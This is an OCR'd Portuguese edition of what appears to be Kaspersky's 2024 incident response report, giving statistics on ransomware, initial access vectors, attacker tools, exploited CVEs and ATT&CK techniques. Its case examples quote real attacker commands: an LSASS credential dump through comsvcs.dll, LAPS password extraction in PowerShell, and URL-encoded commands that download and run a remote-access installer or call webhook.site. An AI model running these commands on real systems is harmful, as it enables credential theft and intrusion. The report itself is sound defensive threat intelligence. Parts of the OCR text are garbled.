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Visao geral e recomendacgoes

vélidas sendo utilizadas por atacantes para acessar
infraestruturas-alvo. Isso indica que mais empresas estao
sendo alvo de corretores de acesso inicial (IABs) que vendem
esses dados na dark net para uso em ataques. No contexto
de Ransomware como Servico (RaaS), os IABs desempenham
um papel fundamental ao permitir que cibercriminosos
otimizem seus atagues. Isso implica que essas vitimas ja
estavam comprometidas, resultando em credenciais vazadas,
sem impacto perceptivel. E isso destaca a importancia das
atividades frequentes de avaliagdo de compromissos.

’Kﬂﬂ € Em 2024, vimos um aumento expressivo no uso de contas

Outra tendéncia que se manteve inalterada nos Ultimos anos
& a de ransomware. Em 2024, 41,6% dos incidentes estavam
relacionados a esse tipo de ameaga, em comparagdo com
33,3% no ano anterior. E provavel que o ransomware continue
sendo a principal ameacga para organizagdes ao redor do
mundo no futuro préximo.

LockBit foi responsavel por 43,6% das infeccoes, seguido
por Babuk com 91% e Phobos com 5,5%. 2024 também
viu o surgimento de novas familias de ransomware, como
ShrinkLocker e Ymir.

O uso generalizado de Mimikatz (21,8%) e PsExec (20,0%)
também foi notavel em 2024. Essas ferramentas séo
comumente usadas durante a pds-exploracao para extracao
de senhas e movimentacao lateral.

Novas ameacas descobertas pelo GERT

Nossa equipe fez muitas descobertas significativas e interessantes em
2024, desde novas familias de malware, como ShrinklLocker' e Ymir?, até

a descoberta de campanhas sofisticadas como Tusk? e a exploragdo em
larga escala do CVE-2023-48788*. Durante os engajamentos de resposta
a incidentes, nossos especialistas também identificaram atacantes
usando o construtor vazado do LockBit 3.0° e a variante Elpaco-Mimic?.

Atividades APT

Grupos conhecidos foram responsaveis por 26,3% de todos os atagues. Destes, um terco (31,7%) ndo pbdde ser
atribuido a um grupo especifico. BlackJack foi o grupo mais ativo, responsavel por 9,8% dos ataques, enquanto
GREF, DarkStar e CloudAtlas também foram proeminentes, cada um contribuindo com cerca de 5%. Empresas
industriais, instituicdes financeiras e governamentais foram as mais afetadas por ataques direcionados,
representando 26,8%, 19,.5% e 19,5% de todos os ataques direcionados.

1 Securelist ShrinkLocker: 2 Securelist Ymir: novo 3 Securelist Tusk: desvendando
Transformando o BitLocker em ransomware furtivo a solta uma campanha complexa de
ransomware roubo de informagdes

4 Securelist Atacantes exploram 5 Securelist Usando o construtor 6 Securelist Andlise de Elpaco: uma
uma vulnerabilidade corrigida do LockBit para gerar ransomware variante Mimic
FortiClient EMS em ambientes direcionado

reais.
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As ferramentas mais populares
foram notaveis em 2024.

Mimikatz 22%

PsExec 20%



https://securelist.com/tusk-infostealers-campaign/113367/
https://securelist.com/elpaco-ransomware-a-mimic-variant/114635/
https://securelist.com/ransomware-abuses-bitlocker/112643/
https://securelist.com/new-ymir-ransomware-found-in-colombia/114493/
https://securelist.com/lockbit-3-0-based-custom-targeted-ransomware/112375/
https://securelist.com/patched-forticlient-ems-vulnerability-exploited-in-the-wild/115046/
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Introducéao

ntroducao

Este relatdrio de andlise contém informacdes sobre ciberataques investigados pela Kaspersky em 2024.

A Kaspersky fornece uma ampla gama de servicos, desde resposta a incidentes, pericia digital, andlise de
malware etc., para ajudar as organizagdes vitimas de incidentes de seguranca da informacao. Os dados usados
neste relatério sdo derivados do trabalho com organizagdes que contaram com a assisténcia da Kaspersky
para responder a incidentes ou realizaram eventos profissionais para suas equipes internas de resposta a
incidentes. Os servigos de investigagdo e resposta a incidentes s&o fornecidos pela Equipe Global de Resposta
a Emergéncias (GERT) da Kaspersky, que conta com especialistas na Europa, Asia, América do Sul e do Norte,
Oriente Médio e Africa.

As estatisticas ajudam a identificar tendéncias relacionadas as ameacas mais relevantes para as organizagoes
em varios setores da economia e regioes. Isso nos permite desenvolver métodos de protecao prioritarios além
de formular recomendacdes que, quando implementadas, ajudarao as organizacdes a melhorar seus niveis de

seguranca e se preparar para a resposta a incidentes no futuro, prevenindo ou minimizando danos de ataques

potenciais. Ele também nos fornece um panorama do cenario de ameacas por regiao e por setor.
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Kaspersky Incident Response
Kaspersky Incident Response (IR) fornece uma andlise abrangente e detalhada de incidentes de seguranca. O servigco
abrange todo o processo de investigagéo e resposta, incluindo a resposta inicial, coleta de evidéncias, identificagdo
do vetor de ataque primario e desenvolvimento de um plano de mitigagdo. E uma parte integrante do Kaspersky
Security Service’, que garante que sua organizagao esteja equipada para conter e neutralizar ameagas com confianga.
Persisténcia instalada Relacdo Exploit de Aplicativos Vazamento
para impacto futuro Confiavel para o Publico TO819 de dados
a : Inc|dent Response Contas Validas Arquivos Criptografados
L |



https://www.kaspersky.com.br/enterprise-security/cybersecurity-services
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Base geografica das solicitagdes de servicos de Rl

2024 foi marcado por uma mudanga na geografia da cobertura de servigos. A regido do Oriente Médio subiu para
0 segundo lugar em termos de solicitagdes de resposta a incidentes, com 15,7% das solicitagdes, deslocando as
Américas para o quarto lugar. CIS® mantém uma posi¢ao dominante com 50,6% dos pedidos e continua a crescer.

é Flgura1 f Base geografica dos pedidos para o servigo Kaspersky Incident Response em 2023

B Ciss B3 Oriente Médio @ Europa ¥ Américas 3 APAC Africa
2024 — 50,6% 2024 —157% 2024 —10,8% 2024 —10,2% 2024 —7.3% 2024 — 5.4%
2023 — 47,3% 2023 —10,9% 2023 — 91% 2023 — 21,8% 2023 — 3.6% 2023=vt5%
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https://www.kaspersky.com.br/enterprise-security/contact-investigation?icid=irreport
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Setores

Hoje, toda organizagcao esta vulneravel a ataques cibernéticos, como refletido nas estatisticas de solicitagdes
em diferentes setores. No ano passado, os setores industrial, governamental e financeiro foram os que mais Nos
procuraram. Isso se deve em grande parte ao fato de que essas organizagdes tendem a ter mais funcionarios e
niveis mais altos de informatizagéo, o que aumenta sua superficie de ataque. Consequentemente, eles sdo mais
suscetiveis a ataques e alvos mais atraentes para cibercriminosos.

F " Fi;; , | Distribuicdo de solicitagdes para o servico
oa—_ & Kaspersky Incident Response por setor
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Introducéao

Maturidade organizacional

Observando as razdes para as solicitagdes do servico Rl em mais detalhes, podemos dividi-los em dois grupos.

Grupo | Grupolll

Os motivos e impacto ja eram conhecidos (ataques com indicadores de atividade suspeita)
no momento da solicitaggo:

Essas vitimas normalmente tommam conhecimento Com base nos resultados de nossa andlise, essas
de um ataque quando ja ocorreu € 0s danos atividades suspeitas tiveram os seguintes impactos:
s80 evidentes. et
(e NY/?”— )
2 ST S S
(= S ) Persisténcia instalada para impacto futuro 10.7%
Criptografia de arquivos 41.6%
Active Directory comprometido 9.6%
Vazamento de dados 16.9%
Nenhum (Alarme falso) 5.6%
Desfiguracéo 1.7%
Apropriagao de contas 4.5%
Roubo financeiro 0.6%
Ataque impedido ou ndo consumado 45%
Servico indisponivel 0.6%
Destruicdo de Dados 3.4%
Manipulagéo de dados 0.6%
Claro, alguns desses incidentes também podem
potencialmente escalar para incidentes mais graves.
Detecta-los em um estagio mais inicial do ataque
N ajuda a minimizar seu impacto.
"f’
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Duracéo do ataque

uracao do ataque

Todos os casos de incidentes podem ser agrupados em trés categorias com diferentes tempos de permanéncia do invasor,
duracgao da resposta ao incidente, acesso inicial e impacto do ataque.

e —
Nl
ﬁ Yy
=
Rapido Média Duradouro
(Horas e dias) (Semanas) (Um més ou mais)
Grandes ataques de ransomware de alta O ransomware tornou muitos atagues Periodos irregulares de fases ativas e
velocidade que representam o maior desafio, indistinguiveis dos atagues mais rapidos passivas durante o ataque. A duragao
até mesmo para operagdes de seguranga (ataques Rush). Em muitos casos neste das fases ativas € muito semelhante
maduras. Principalmente comportamento grupo, ha um atraso significativo entre o ao grupo anterior (Médio)
criminoso visivel, rondando alvos faceis, acesso inicial e as etapas subsequentes
publicamente disponiveis e problemas do ataque.
de seguranga facilmente identificaveis
Vetores iniciais
~ v
Contas Vaélidas Exploit de Aplicativos Explorar Aplicagéo Voltada ao
para o Plblico TO819 Publico, Relacionamento Confiavel,
Contas Validas
Porcentagem dos ataques
~
445% 20.3% 35.2%
Duragao média (mediana)
)5, T
<1dia 13 dias 253 dias
Duracéao de resposta a incidentes
~
33 horas 40 horas 50 horas
i "
Impacto
Lo R et
Criptografe dados Criptografia de dados Dados criptografados & vazamento
€ roubo de dinheiro de dados
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Motivos de
solicitagdo do
servigo

otivos de solicitacao do servico

Motivos de solicitagdes do servico Kaspersky Incident Response
por regiao

R
|
2

CH

51%
| 51%

1.1%

S -

2.5%

2.5% 1.0% 0.5%
s 20 R | 0.5% oo
23.2% 1.0% 7 1.5% 0.5% S 0.5%
1.0% e 0.5% 1,0% ey D° 0.5%
i 3.5% E— . : 2 m——ema 0.5%
g 2.5% _ 4.0% 1.0% 0.5%
S 1.0% . 2 6.0% 1.0% S—— ) .,
R 2.0% ST oo 0.5% ————ETS 0.5% SEREEEE 0 5o e 0.5%
CEl Oriente Médio Europa Américas APAC Africa
Apropriagdo  Acesso nao Vazamento Criptografia Roubo Alerta de Mensagem Atividades Arquivo Atividade
de contas autorizado de dados de arquivos financeiro ferramentas suspeita suspeitas nos suspeito suspeita
de segurancga de e-mail endpoints narede
Verdadeiro positivo (True Positives) Alarme falso
—_— — —— — T = —
Criptografia de arquivos 389% Atividade suspeita na rede 429%
Atividades suspeitas nos endpoints 18.2% Atividades suspeitas nos endpoints 35.7%
Arquivo suspeito 10.1% Arquivo suspeito 71%
Atividade suspeita narede 10.1%
Atividades suspeitas estavam entre as razdes mais
Vazamento de dados 6.6% comuns para solicitagées em 2024, pois podem indicar
a presenca de um invasor dentro da rede. No entanto,
Acesso n&o autorizado 5.6% atividades suspeitas também séo a principal fonte de

falsos alarmes. Apesar disso, recomendamos investigar
todas as atividades suspeitas para garantir que

Alerta de ferramentas de seguranca 5.6% ; -

nenhum ataque real seja perdido.
Mensagem suspeita de e-mail 1.5% (it i
Roubo financeiro 0.5%
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Vetor de ataque
inicial

Vetor de ataque inicial

Aplicagdes voltadas para o publico tém sido o principal vetor inicial de ataque por muitos anos. Em 2024, eles
mais uma vez ficaram em primeiro lugar, representando 39,2% dos incidentes. As relagdes de confianca tiveram
um aumento em comparagao com 2023, mas permaneceram em terceiro lugar com 12,8%. As Contas Validas
mantiveram sua posi¢ado como o segundo vetor mais comum, com 31,4%. Também observamos que o phishing
continua a ser um vetor inicial prevalente, utilizado em quase um a cada 10 casos.

g eisurad Vetor de ataque inicial e impacto resultante
As (5l
S .-~ 20% 39% 1.0% 7.8% 2.0% 15.7% 6.9%
propriagao Exploracao de aplicagdes A 39.2%
de contas expostas nainternet o : - 2
i Active Directory 20% 29% 1.0%  59% 17.6% 2.0%
comprometido Contas Validas . 31.4%
e
i Destruicso 1.0%1.0%2.0% 2.9% 39% 2.0%
de Dados Relag&o confiavel w 12.7%
Vazamento 29% 2.0% 29% 1.0%1.0%
de dados Phishing = 9.8%
§ Manipulagdo i
de dados 3.9%
Servigcos remotos externos 3.9%

- Desfiguragdo
st TR D e 090
Replicagao via midia

fgupiogsafia removivel 1.0%
de arquivos
1.0%
Persisténcia . #5
instalada para Insider s
impacto futuro 1.0%
Outras 1.0%

Com base nessas estatisticas, pode-se concluir que, independentemente do vetor inicial dos atacantes, 0 tempo
de deteccéo ¢ influenciado principalmente pelo nivel de seguranca da informacao da organizagao. Por exemplo,
ataques usando os vetores mais populares podem passar despercebidos por um periodo que varia de varios
dias a varios meses.

B ———v=———1g|
f . ] T ] ~
é Figura5 | Acesso inicial e duracao do ataque
YV - |
A 10.3% 7.7% 7.7%
Dias Exploracao de aplicagdes T e ok s 2o
expostas nainternet b
B Meses e i~ wisag, w 7.7% 1.3%
Contas Validas St 3 R

Semanas d R,
n 3.8%  2.6% 51%

- Relagdo confiavel 2 R

nos

26% 38% 13%
Phishing

2.6% 1.5% 1.3%

Servigos remotos externos

A 1.3%

Usuario baixou e executou 74
arquivo malicioso.

. ~ . g 13%
Replicagao via midia
removivel

1.3%

Outras

T
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erramentas do adversario

Em quase todas as investigacdes, os adversarios usam ferramentas legitimas em varias etapas de seus ataques.
Embora diferentes grupos de atacantes frequentemente usem seu préprio conjunto de ferramentas que podem
ser usadas para identifica-los, ferramentas amplamente utilizadas como Mimikatz ou PsExec podem ser usadas
por quase qualquer atacante para extragdo de senhas e movimentagao lateral durante a pds-exploragao.

Distribui¢ao e frequéncia de ferramentas usadas em incidentes

= N —

Frequente, 8-22% Média, 4-8% Raro, 1-8%
~
ProcDump  PowerShell Bloodhound ~ Process Hacker
Impacket ADRecon gs-netcat Nmap NSSM WMIC
_ Ngrok _ Advanced Port Scanner Chisel DislgCry_ptor gmer.exe Remcom
Advanced IP Scanner netscan.exe LaZagne

Os atacantes mais comumente usam uma variedade de utilitarios para controle remoto, evasao de defesas
e exploragéo da infraestrutura da vitima.

e 18.9% SSH gs-netcat (Revsocks |Gost (Cloldfiared’ 'RDP PUTTY TacticalRMM
T
Evasdo 18.3% Chisel  Process Hacker Localtonet gmer Kavremvr Tor FRP HRSword
p-csdesa S PCHunter lObitUnlocker Neo-reGeorg Defender Control TDSSKiller
v
- SoftPerfect INEWWI @SR EI®  NetScan  Advanced Port Scanner Advanced IP Scanner
Descoberta 15.2% ' S '
ADRecon Fscan Bloodhound "Nmap LANSearchPro ' Tudo PingCastle '‘adPEAS
~v
- RS CGIeR  PowerShell SMBExec WMIC NSSM Wmiexec MeshAgent Remcom
Execucdo 12.2% R
WSO WebShell ATExec WinSW  PAExec
~ v
Acesso de N.6% ProcDump  SecretsDump LaZagne CredentialsFileView Nanodump
! Sl WebBrowserPassView XenAllPasswordPro  Gosecretsdump grabFF
S
Impacto 9.8% BitLocker DiskCryptor Eraser WipeDisk SDelete
Coleta 49% 7zip winrar 7z Adminer SharpHound Raw Copy FileZilla
) o g
MOVIMENtacao  37%  Impacket CobaitStrike PowerSpioit Metaspioit NXC Havoc
o
Extrag&o 3.7% Rclone WinSCP WinGet Wget MEGASync
N A
aglada 1.8% Invoke-sAMSpoofing EfsPotato  JuicyPotato o

de privilégios
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Exemplos de uso de ferramentas em casos reais

Intrusao por Ransomware: Descoberta de arquivos e diretérios
ID: T10837 Tactic: Discovery

Apos a intrusdo, os agentes de ameaca por tras do ransomware LockBit usaram credenciais comprometidas
e RDP para acessar um servidor de arquivos e utilizaram buscas no Explorador de Arquivos para identificar
arquivos com palavras-chave e datas especificas.

"Restricted" OR ="Confidential" OR ="Private" OR ="Operational & Inventory" OR ~="Finance" datemodified: 1/1/2022..today
"Balance" datemodified: 1/1/2022..today

"ssn" OR ="Restricted" OR ="Confidential" OR ="Private" OR ~="Operational & Inventory" datemodified: 1/1/2022..today
"tax" OR ="Income Statement"” OR ="Balance" OR ="Cash" OR ="Financial Footnotes" OR ="Compensations" OR ="Customer
Information" OR ="Employee Data" OR ~="Intellectual Property" datemodified: 1/1/2022..today

Usando esses filtros, os atacantes identificaram arquivos criticos no servidor de arquivos e criaram um arquivo
Zip para exfiltrar as informacoes, a fim de pressionar a vitima a fazer um pagamento.

T1087.002: Descoberta de conta: Contas de dominio
ID: T1087.002'" Tactic: Discovery

Apds obter acesso a infraestrutura, o agente de ameaga usou o PowerShell para executar um conjunto de
instrucdes que Ihes permitiu:

4 Instale modulos adicionais para gerenciar o Active Directory:

Import-Module ActiveDirectory

Install-Module ActiveDirectory

Register-PSRepository -Name "PSGallery" -SourceLocation "https://www.powershellgallery.com/api/v2/" -InstallationPolicy
Trusted

Set-PSRepository -Name "PSGallery" -InstallationPolicy Trusted

Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force

Register-PSRepository -Default -InstallationPolicy Trusted

Install-Module -Name ActiveDirectory -Force

4 Gerenciar contas de dominio:

Import-Module .\Microsoft.ActiveDirectory.Management.dll -Verbose
Unlock-ADAccount -Identity "<edited>"
Get-LAPS

4 Confirme se modulos especificos foram instalados:

gc "c:\program files\LAPS\CSE\Admpwd.d1l1"
4 Obter informagdes sobre controladores de dominio e contas privilegiadas:

$laps = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd,ms-Mcs-
AdmPwdExpirationTime -Server <edited> | ? {$.'ms-Mcs-AdmPwd'} | select Name,ms-Mcs-
AdmPwd,@{label="ExpDate";Expression={([datetime]::FromFileTime([convert]::ToInt64($. ms-
Mcs-AdmPwdExpirationTime')))}}

nltest /domain_controllers

nltest /dclist

nltest /dclist:<domain_edited>

Import-Module AdmPwd.PS

9 T1083: Descoberta de Arquivos e 10 T1087.002: Descoberta de conta:
Diretdrios Contas de dominio

., T
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https://attack.mitre.org/techniques/T1087/002/
https://attack.mitre.org/techniques/T1083/
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Instalagao automatica de servigo apds intrusao: Despejo de Credenciais do SO
ID: T1003™ TAOOOQ6: Acesso de Credencial

Apds acessar a infraestrutura, varios grupos implantam scripts automatizados para configurar tarefas ou instalar servicos.
Neste caso, 0 agente de ameaca instalou um servico para despejo de memoaria e extracdo de detalhes do servico LSASS.
Para evadir certas solucdes de seguranca, eles usaram uma técnica interessante envolvendo um caractere especial,
conforme descrito aqui: https://github.com/login-securite/Isassy/blob/master/Isassy/dumpmethod/comsvcs.py

%COMSPEC% /Q /c cMD.eXE /Q /c for /f "tokens=1,2 delims= " ~%A in ('"tasklist /fi "Imagename eq lsass.exe" | find
"lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000"24 *%B \Windows\Temp\<random_name>.tar full

Verificacao massiva para identificar e explorar CVE-2023-48788: Persisténcia usando RRM.
ID: T1219"2 Comando e Controle

Apos identificar uma versao vulneravel do FortiClient EMS exposta a Internet, multiplos agentes de ameaca usaram
ferramentas RMM (monitoramento e gerenciamento remoto) e software malicioso para instalar aplicativos e obter
persisténcia na infraestrutura comprometida. GERT analisou e confirmou a presenca de multiplas cargas Uteis
implantadas durante esses ataques que aproveitaram essa vulnerabilidade nao corrigida®.

Apos explorar a vulnerabilidade, os atacantes configuraram um comando PowerShell no sistema explorado para
facilitar a instalacdo de uma ferramenta de gerenciamento remoto como o ScreenConnect:

POWERSHELL.EXE -COMMAND ""ADD-TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE /C ([SYSTEM.WEB.
HTTPUTILITY]::URLDECODE("""%63%75%72%6C%20%2D%6F%20%43%3A%5C%75%70%64%61%74%65%2E%65%78%65%20%22%68%74%74%:70%73%3A%2F % 2F
%699%6E%665:697%6E%697%74779%2E7%73%637:72%65%65%6E%637%6F %6E%6E %6576 3%74%2E %6 3%6F 756D%2F 7642%69 % 6E%2F 9653%6 3757276 5% 657 6E%4 3% 6 F %
6E%6E%65%63%74%2E%43%6C%69%65%6E%747%53%65%749%75%70%2E%65%789%65%3F %65%3D%41%63%6 3%65%7 3%73%269%79%3D%47 %75%65%7 3%74%22%20
%26%20973%74%61%72%74%20%2F%42%:20%4 3% 3A%5C%75%70%64%61%74%65%2E%65%78%65"""))"""

O roteiro decifrado leva a;

curl -o C:\update.exe "https://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest" & start /B
C:\update.exe

A analise do GERT também confirmou que os atacantes estavam usando o servigo publico webhook.site para
identificar servicos vulneraveis. Ao enviar uma solicitacao eletrénica, eles poderiam determinar se o servico
era vulneravel sem precisar instalar qualguer aplicativo. Esta implementacao é especificamente para explorar
durante a enumeracao e nao estabelece persisténcia:

POWERSHELL.EXE -COMMAND ""ADD-

TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE /C ([SYSTEM.WEB.HTTPUTILITY]::URLDECODE("""%70%6£%77%65%72%73%68%65%6c%6c%20
%2d%63%20%22%69%77%72%20%2d%55%72%69%20%68%74%74770%73%3a%2£%2£%77%65%627%68%6 £7%6 £7%6b%2e%7 3%69%74%65%2£%32%37%38%6 6%58%
587%587%58%2d7%63%61%33%62%2d [REDACTED]%2d%39%36%65%34%2d%587%:58%:589:58%34%35%61%61%36%38%30%39%20%2d%4d%65%747%68%6 £6 4720 -
%50%61%73%74%20%2d%42%:6£%64%79%20%27%74%65%73%74%27%20%3%20%24%6€%75%6C%6c%22"""))""

Quando decodificado, revelou uma cadeia de comandos contendo um comando PS1 final.

cmd.exe -> POWERSHELL.EXE -> CMD.exe -> powershell -c "iwr -Uri hxxps://webhook.site/278fXXXX-ca3b-[REDACTED]-96e4-XXXX-
45226809 -Method Post -Body 'test' > $null"

T1003: Dumping de Credenciais 12 T1219: Software de Acesso 13 Securelist Atacantes exploram uma
do SO Remoto vulnerabilidade corrigida do FortiClient

EMS em ambientes reais.

Relatério do Analista de Resposta a Incidentes para 2024
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As vulnerabilidades

mais comuns

s vulnerabilidades mais comuns

O diagrama abaixo mostra vulnerabilidades de anos anteriores que foram exploradas em 2024. Mais de 90%
das vulnerabilidades exploradas por atacantes em 2024 foram publicadas ha mais de um ano, indicando que
as organizacdes atacadas tinham politicas de atualizacdo ineficazes.

i Figura 6 " Vulnerabilidades de anos anteriores que foram exploradas em 2024

29.2%
Vulnerabilidades

usadas
20.8%
16.7%
8.3% 8.3% 8.3%
4.2% 4.2%
2016 2017 2019 2020 2021 2022 2023 2024

As vulnerabilidades mais prevalentes encontradas em nosso conjunto de dados para 2024 estavam relacionadas
a produtos da Microsoft (Windows, Exchange, Active Directory, SharePoint), como CVE-2016-0099, CVE-2017-0176,
CVE-2019-1458, CVE-2020-1472, CVE-2020-0688, CVE-2020-0787, CVE-2021-42287, CVE-2021-34523, CVE-
2021-34473 e CVE-2023-29357. Também encontramos um aumento expressivo no ndimero de vulnerabilidades
no servidor OpenSSH (sshd) — CVE-2023-38408, CVE-2024-6387 (também conhecido como regreSSHion) e
CVE-2024-6409. Vulnerabilidades que visam o software Cisco |OS XE Web Ul (CVE-2023-20273 e CVE-2023-20198)
também foram encontradas em circulagdo.

Cerca de 40% das vulnerabilidades que detectamos durante as agdes de resposta a incidentes levam a
Execucao Remota de Codigo (RCE), com uma proporgao igual ligada a exploits de Escalagao de Privilégios.
Notavelmente, um numero significativo de vulnerabilidades altas e criticas nessas categorias possui exploits
de prova de conceito (PoC) publicos prontamente disponiveis em plataformas como GitHub e Exploit-DB. Isso
facilita 0 acesso para invasores e permite que realizem movimentos laterais em diferentes ambientes.

Entre as categorias repetidas de Common Weakness Enumeration (CWE), descobrimos que CWE-120
(Transbordamento de Buffer Classico), CWE-269 (Gerenciamento Imprdprio de Privilégios), CWE-287
(Autenticagao Impropria) e CWE-918 (Server-Side Request Forgery — SSRF) foram as mais prevalentes.
Estas séo todas vulnerabilidades que poderiam ter sido evitadas ao usar praticas de codificagéo segura
(como analise de cddigo estatica e analise dindmica automatizada). Isso destaca a importéncia de os
desenvolvedores priorizarem a seguranca em cada fase do ciclo de vida do desenvolvimento e adotarem
principios de seguranga e privacidade desde a concepgao. Além disso, os clientes

devem garantir atualizagdes regulares e a aplicagédo oportuna de patches de seguranca.

Relatério do Analista de Resposta a Incidentes para 2024 16
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As vulnerabilidades
mais comuns
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PoC disponivel — Microsoft Windows (Servico de Logon Secundario)

‘CVE-2016-0099 | CVSS7.8HIGH | CWE-120
Escalagao de Privilégios
Miérosoft Windows Server

CVE-2017-0176  CVSS8.1HIGH | | CWE-120

Vulnerabilidade Remote Code Execution (RCE).

PoC disponivel — Microsoft Windows (Win32k)
CVE-2019-1458

Escalagao de Privilégios

CVSS 7.8 HIGH CWE-1219

PoC disponivel — Microsoft Windows (Netlogon)
' CVE-2020-1472

Escalagao de Privilégios

CVSS10.0 CRITICAL | CWE-330

PoC disponivel — Microsoft Exchange Server
CVE-2020-0688
Vulnerabilidade Remote Code Execution (RCE).

CVSS 8.8 HIGH CWE-287

Também conhecida como MS16-032, uma vulnerabilidade no Servigo de
Logon Secundario que permite que usuarios locais obtenham privilégios
por meio de um aplicativo manipulado.

~y

Um estouro de buffer no cédigo de autenticagdo de Smart Card em gpkcsp.
dll no Microsoft Windows XP (até SP3) e Server 2003 (até SP2) permite a
execugao remota de codigo por um invasor se o computador alvo fizer parte
de um dominio Windows e tiver o Protocolo de Area de Trabalho Remota

(ou Servigcos de Terminal) habilitado.

~y

A vulnerabilidade surge de um erro no aplicativo ao processar um arquivo
maliciosamente criado, permitindo que um invasor remoto potencialmente
o explore para escalar seus privilégios em sistemas vulneraveis.

~r—y

Uma vulnerabilidade de elevagao de privilégio que ocorre quando um invasor
estabelece uma conexao de canal seguro Netlogon vulneravel com um
controlador de dominio usando o Protocolo Remoto Netlogon (MS-NRPC).
Explorar essa vulnerabilidade permite que um invasor execute um aplicativo
especialmente criado em um dispositivo de rede.

~—y

Uma vulnerabilidade de execugado remota de cédigo no Microsoft Exchange
que ocorre devido ao manuseio inadequado de objetos na memaria.

~y

PoC disponivel — Microsoft Windows (Servigo de Transferéncia Inteligente em Segundo Plano — BITS)

CVE-2020-0787

Escalagao de Privilégios

CVSS 7.8 HIGH CWE-59

Vulnerabilidade de elevagéo de privilégio no Servigo de Transferéncia
Inteligente em Segundo Plano do Windows (BITS).

~—y

PoC disponivel — Servigos de Dominio do Microsoft Active Directory

'CVE-2021-4104

Escalagao de Privilégios

CVSS 8.8 HIGH CWE-269

PoC disponivel — Microsoft Exchange Server

CVE-2021-26855 | CVSS9.8CRITICAL [ CWE-918
Vulnerabilidade Remote Code Execution (RCE).
Microsoft Exchange Server
'CVE-2021-31207 | CVSS6.6MEDIUM | CWE-434

Vulnerabilidade Contornar Recurso de Segurancga.

Relatério do Analista de Resposta a Incidentes para 2024

Vulnerabilidade de elevagéo de privilégio nos Servigos de Dominio do Active
Directory, permite que um invasor se passe por um administrador de dominio
a partir de um usuério de dominio padrao.

~y

Vulnerabilidade no Microsoft Exchange Server que permite a um invasor
contornar a autenticagdo e se passar pelo administrador.

Permite que um invasor remoto execute
cddigo arbitrério em instalagdes vulneraveis
do Microsoft Exchange Server. No pior
cenario, o invasor pode executar cddigo
arbitrario no contexto do SYSTEM.
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PoC disponivel — Servigos de Dominio do Microsoft Active Directory

CVE-2021-42278

Escalagao de Privilégios

CVSS75HIGH | CWE-269

PoC disponivel — Microsoft Exchange Server
'CVE-2021-34523

Escalacdo de Privilégios

CVSS 9.8 CRITICAL | CWE-287

Uma vulnerabilidade de elevagao de privilégio nos Servigos de Dominio do -
Active Directory permite que um usuario padrdo do dominio se passe por um
administrador de dominio.

Uma vulnerabilidade de escalonamento de privilégios no Microsoft Exchange
Server que ocorre devido a validagéo inadequada de solicitagdes de remoting
do PowerShell.

~r—y

PoC disponivel — Microsoft Exchange Server (Autodiscover)

CVE-2021-34473 (CvsS9.8CRITICAL [ CWE-918
Vulnerabilidade Remote Code Execution (RCE).
Bitrix Site Manager
'CVE-2022-27228 [ CVSS 9.8 CRITICAL | CWE-20

Vulnerabilidade Remote Code Execution (RCE).

PoC disponivel — Veeam Backup & Replication
CVE-2023-27532

Autenticagao ausente

CVSS 7.5 HIGH CWE-306

PoC disponivel — OpenSSH (ssh-agent)
CVE-2023-38408
Vulnerabilidade Remote Code Execution (RCE).

CVSS 9.8 CRITICAL | CWE-428

PoC disponivel — Microsoft SharePoint Server
CVE-2023-29357

Escalagao de Privilégios

CVSS 9.8 CRITICAL | CWE-303

PoC disponivel — Cisco I0S XE (Interface Web)
CVE-2023-20273
Vulnerabilidade Remote Code Execution (RCE).

CVSS 7.2 HIGH CWE-78

PoC disponivel — Cisco I0S XE (Interface Web)
CVE-2023-20198

Escalagao de Privilégios

CVSS 10.0 CRITICAL | CWE-420

Relatério do Analista de Resposta a Incidentes para 2024

Vulnerabilidade no servi¢go Autodiscover que permite a atacantes remotos
executar codigo arbitrario no Microsoft Exchange Server afetado.

Vulnerabilidade presente no médulo de votagao (< 21.0.100) do Bitrix Site
Manager. Isso permite que um invasor remoto ndo autenticado execute
cdédigo arbitrario.

~y

Vulnerabilidade em um componente do VVeeam Backup & Replication que
permite a um atacante obter credenciais criptografadas armazenadas em seu
banco de dados de configuragao.

~—y

Nas versdes do OpenSSH anteriores a 9.3p2, o recurso PKCS#11 do ssh-
agent possui um caminho de busca vulneravel, tornando-o insuficientemente
confidvel. Isso pode resultar em execugédo remota de codigo se um sistema
controlado por um invasor receber um agente encaminhado.

~—y

Vulnerabilidade no Microsoft SharePoint Server que permite a invasores
remotos escalar privilégios.

O recurso de interface web do software Cisco I0S XE pode permitir que
um invasor remoto autenticado injete comandos com privilégios de root.

Permite que um invasor nao autenticado crie uma conta com "acesso de nivel
de privilégio 15" — acesso total a todos os comandos.
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PoC disponivel — FortiClientEMS

CVE-2023-48788 | CVSS9.8CRITICAL | CWE-89 |

- Injegdo de SQL

PoC disponivel — OpenSSH (sshd)

{CVE-2024-6387  CVSS81HIGH | [ CWE-362 |

Vulnerabilidade Remote Code Execution (RCE).

OpenSSH (sshd)

'CVE-2024-6409 CvsS7.0HIGH | [ CWE-364 |

Vulnerabilidade Remote Code Execution (RCE).

As vulnerabilidades
mais comuns

Uma neutralizagdo inadequada de elementos especiais usados em um
comando SQL (injecao de SQL) no Fortinet FortiClientEMS permite que um
invasor execute coédigo ou comandos ndo autorizados por meio de pacotes
especialmente criados.

~—y

Também conhecida como regreSSHion, essa vulnerabilidade no servidor
OpenSSH (sshd) pode levar a execugdo remota de codigo no servidor vulneravel.

Vulnerabilidade de condi¢ao de corrida descoberta no servidor OpenSSH
(sshd) que pode levar a execugao remota de codigo como um usuario sem
privilégios.
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Mapa de calor de
téticas e técnicas

apa térmico de técnicas
e taticas MITRE ATT&CK

TAO043:
Reconhecimento

TAO042:
Desenvolvimento
de Recursos

TAOOOT:
Acesso Inicial

TAOO0O02:
Execucgao

TAOOO3:
Persisténcia

T1595.002: Verificagdo Ativa:
Verificagdo de Vulnerabilidades

T1589: Coleta de Informagdes
de |dentidade de Vitimas

T1598: Phishing para Coleta
de Informagdes

T1595.001: Verificagdo Ativa:
Verificagdo de blocos IP

T1592: Coleta de Informagdes
de Host de Vitimas

e~ _—opS— _Ad

6-11%

1M-15%

T1587.001: Recursos de
Desenvolvimento: Malware

T1588.002: Recursos de
Obtencgao: Ferramenta

15-20%
